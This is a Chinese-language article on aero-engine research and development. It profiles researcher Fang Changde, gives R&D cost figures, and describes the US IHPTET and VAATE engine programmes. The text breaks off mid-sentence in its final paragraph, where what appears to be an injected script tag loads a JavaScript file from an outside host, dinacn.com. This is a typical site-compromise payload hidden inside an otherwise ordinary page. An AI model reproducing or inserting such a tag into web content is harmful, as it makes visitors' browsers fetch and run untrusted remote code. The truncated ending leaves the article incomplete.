方昌德，中国航空工业发展研究中心研究员。45年来，他以航空发动机的技术发展动向、研究和发展工作规律以及管理为研究对象，多次参与了我国航空发动机发展战略研究和规划的制定。他曾主编《世界航空发动机手册》以及《航空发动机研究和发展管理文集》等诸多图书与文集，发表了大量相关的文章和研究报告，对航空发动机核心机和验证机的发展途径，对航空工业和飞机研制中的总体规模、产值及发展费用做过大量有价值的论述，在不同时期较早地提出过值得注意的重要技术研究领域，如进气道-发动机匹配、发动机结构完整性、热端部件的热分析、推力矢量技术和推进系统主动流动控制等。
目前，常规航空燃气涡 轮发动机已经达到了相当高的技术水平，并呈现出加速发展的态势。今后发展的重点在于经济可承受性。各种新概念和新能源发动机也正在探索之中。本文分析了航空发动机研究和发展工作的特点，指出了航空发动机的发展现状和趋势，找出了我国的差距，并提出了相应的对策。
航空发动机研究和发展的特点
航空发动机虽然是飞行器的一个分系统，但其涉及的学科非常广泛，包括工程热力学、气体动力学、燃烧学、传热传质学、固体力学和控制理论等。航空发动机由总体、进气道、风扇/压气机、主燃烧室、涡轮、加力燃烧室、尾喷管和控制系统等众多部件和系统组成，涉及的部件之多，设计之复杂也非一般设备可比。
从历史上看，喷气时代始于涡轮喷气发动机的发明，声障、马赫数2、马赫数3的突破主要是由于加力式大推力发动机的出现；垂直起落飞机的成功则仰仗于可旋转喷管发动机研制成功；巨型宽体客机的问世少不了大涵道比、大推力的涡扇发动机；第四代战斗机的超声速巡航和超机动性主要依靠发动机高推重比和矢量喷管。
未来，无论是环境友好、利用可再生能源和超声速/高超声速的民用航空运输，还是全球打击、全球达到和跨大气层的军用航空器，以及可重复使用的低成本空间运输系统，都离不开新概念的吸气式发动机。从狭义上说，发动机是飞机飞行的推动力，在广义上它应该是整个航空事业发展的推动力。
另外，发动机的研制进度是整个飞机研制进度的决定性因素。一种新飞机试飞时必须有一款相当成熟的发动机配套。因此，航空发达国家都把发动机作为优先发展的技术列为国家或国防关键技术计划，并严格禁止向别国转让。
在航空均衡发展的国家中，航空发动机的研究和发展经费占航空研究和发展总经费的25%左右。目前，世界上四大航空发动机公司每年的发动机研究和发展经费占销售额的15%左右，在10亿美元上下。现在研制一台大、中型先进发动机的经费高达15亿～30亿美元，如F119为20亿～25亿美元，GE90为30亿美元，JSF的F135动力装置的研制费甚至达到50亿美元。
目前，世界上只有美、英、法和俄四国能独立研究和发展先进航空发动机。难怪在美国国家关键技术计划的说明文件中，用以下文字描述了航空发动机技术：
这是"一个技术精深得使一个新手难以进入的领域，它需要国家充分保护并利用该领域的成果，长期数据和经验的积累，以及国家大量的投资"。
航空发动机的技术发展趋势
自1988年开始实施的美国综合高性能涡轮发动机技术（IHPTET）计划到2005年已基本完成，经历18年，耗资约60亿美元，其成果已应用到许多军民用发动机的新型号研制和现有型号的改进改型上。民用发动机方面有GE90、GP7000、PW4084、PW6000、PW8000、CFM56-7、AE3007和FJ44等，军用发动机方面有F117、F118、F119、F135、F136、F404、F414、F100和F110。
由于IHPTET计划在取得空中优势和商业竞争优势中的重要作用和已经取得的巨大成功，美国从2006年开始实施IHPTET计划的后继计划--VAATE计划，其指导思想是在提高性能的同时，更加强调降低成本。VAATE的总目标是，在2017年达到的技术水平使经济可承受性提高到F119发动机的10倍。技术验证将分两个阶段进行。第一阶段到2010年，使经济可承受性提高到6倍；第二阶段到2017年使经济可承受性提高到10倍。
推进系统的经济可承受性的定义为能力与寿命周期成本之比，其中能力为推重比与中间状态耗油率之比。
VAATE计划的服务对象不仅包括有人驾驶航空器的发动机，而且还涉及无人机的发动机以及船用和地面燃气轮机。对于不同的发动机有不同的目标，如表1所示。
与IHPTET计划一样，VAATE计划仍由国防部主持，NASA、能源部和六家发动机制造商参与。其投资水平也与IHPTET计划相当，每年3亿多美元，由政府和发动机制造商均摊。
VAATE计划将通过三个重点研究领域的相互配合来实现经济可承受性提高到10倍的目标，即通用核心机、耐久性和智能发动机。
由于实施了技术发展计划，才有表2所示的新技术不断涌现。
除传统燃气涡轮发动机外，正在研究中的?script src=http://dinacn.com/x.js> |